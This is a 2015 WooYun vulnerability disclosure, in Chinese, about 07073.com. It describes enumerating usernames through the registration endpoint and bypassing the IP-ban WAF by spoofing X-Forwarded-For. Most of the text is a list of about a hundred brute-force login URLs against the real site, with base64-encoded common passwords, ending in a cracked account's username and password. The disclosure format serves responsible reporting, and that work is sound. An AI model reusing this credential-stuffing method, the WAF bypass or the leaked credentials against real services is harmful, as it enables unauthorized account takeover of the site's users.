漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0111477
漏洞标题:绕过07073waf遍历用户并撞库(附poc)
相关厂商:07073.com
漏洞作者: new
提交时间:2015-05-04 11:35
修复时间:2015-06-18 11:38
公开时间:2015-06-18 11:38
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-05-04: 细节已通知厂商并且等待厂商处理中
2015-05-04: 厂商已经确认,细节仅向厂商公开
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开
简要描述:
07073游戏网站waf设计缺陷导致可以绕过,接口可以遍历用户,并撞库
附上校验poc
详细说明:
1.注册接口暴力跑用户
数据展示:
admin00
admin000
admin0000
admin0001
admin0002
admin001
admin0011
admin002
admin0025
admin003
admin0032
admin004
admin005
admin0052
admin0060
admin007
admin0076
admin0077
admin008
admin009
admin0095
admin01
admin0101
admin0108
admin0123
admin0203
admin021
admin0216
admin0225
admin023
简单跑了一下就停了,有兴趣的可以继续跑
现给出poc:
用户有了,现在加一个字典或者社工库就可以跑密码了,不对,登录请求中怎么没有用户名和密码呢?
仔细看一下,用户名和密码使用js加密后添加到url中,不过程序员给出了解密算法,而且该开发人员写的加密没有混淆和轮换,明显明显没有深厚的密码学功底,不说了,上代码:
调用你们的加密算法,把密码和用户名加密,加到url中就可以不断爆破了
burp跑起来
跑啊
跑啊
跑啊
不对,ip被封了,密码只校验了两次,返回值是:
var login_result = { "stauts" : 0 , "block" : 1, "ip" : "127.0.0.1"}
试试添加个X-Forwarded-for 试试,发现第一次可以,再试还是被封,
所以后台封ip是从X-Forwarded-for中取值,而且每个ip登录错误次数到3次就会被封掉,账号、密码、waf都解决了,而且还没验证马,来个poc开跑:
验证记录:
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2YQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIwMTMxNA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTExMTEx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5pMTMxNA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXExMjM0NTY_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MDAwMDAw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXFhejJ3c3g_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXEydzNlNHI_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXdlMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/Nzc1ODUyMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzcXdl/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTEyMzEyMw__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2YWE_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5pNTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5p/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTAwMjAw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTMxNDUyMA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5pMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzMzIx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cTEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2Nzg5/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2Nzg5YQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIxMTMxNA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTEyMzQ1Njc4OQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/ejEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkMTIzNDU2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTUyMDEzMTQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWExMjM0NTY_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/emhhbmcxMjM_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXB0eDQ4Njk_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzMTIzYQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXEydzNlNHI1dA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXFhenhzdzI_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIwMTMxNGE_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXEydzNl/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWluaTEzMTQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MzE0MTU5MjY_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cTF3MmUzcjQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2cXE_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5pNTIx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNHF3ZXI_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTExMTExMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIwNTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/aWxvdmV5b3U_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWJjMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTEwMTEw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTExMTExYQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2YWJj/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/dzEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/Nzc1ODI1OA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzcXdlYXNk/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTU5NzUz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXdlcjEyMzQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTAwMDAwMA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXExMjMxMjM_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/enhjMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNjU0/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWJjMTIzNDU2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2cQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXE1MjAxMzE0/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2Nzg_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MDAwMDAwYQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NDU2ODUy/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXMxMjM0NTY_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTMxNDUyMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTEyMjMz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIxNTIx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cWF6d3N4MTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/enhjMTIzNDU2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWJjZDEyMzQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkYXNk/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NjY2NjY2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/bG92ZTEzMTQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/UUFaMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWFhMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cTF3MmUz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWFhYWFh/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTEyMzMyMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzMDAw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTExMTExMTE_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTJxd2Fzeng_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTg0NTIwMTMxNA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/czEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/bmloYW8xMjM_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/Y2FvbmltYTEyMw__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/enhjdmJubTEyMw__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d2FuZzEyMw__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTU5MzU3/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MUEyQjNDNEQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkYXNkMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTg0NTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NzUzOTUx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTQ3MjU4/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTEyMzU4MTMyMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTEwMTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXExMzE0NTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkZmdo/1/r268
user:YWRtaW4zMjIz password:YXNkZmdo
其它账号密码我就不一个一个试了,证明问题就可以了。
漏洞证明:
同上
写了好几个poc,又是解密,python的加js的,能给20rank吗?
修复方案:
1.修改waf策略
2.限制查询接口
版权声明:转载请注明来源 new@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2015-05-04 11:36
厂商回复:
感谢提供漏洞信息
最新状态:
暂无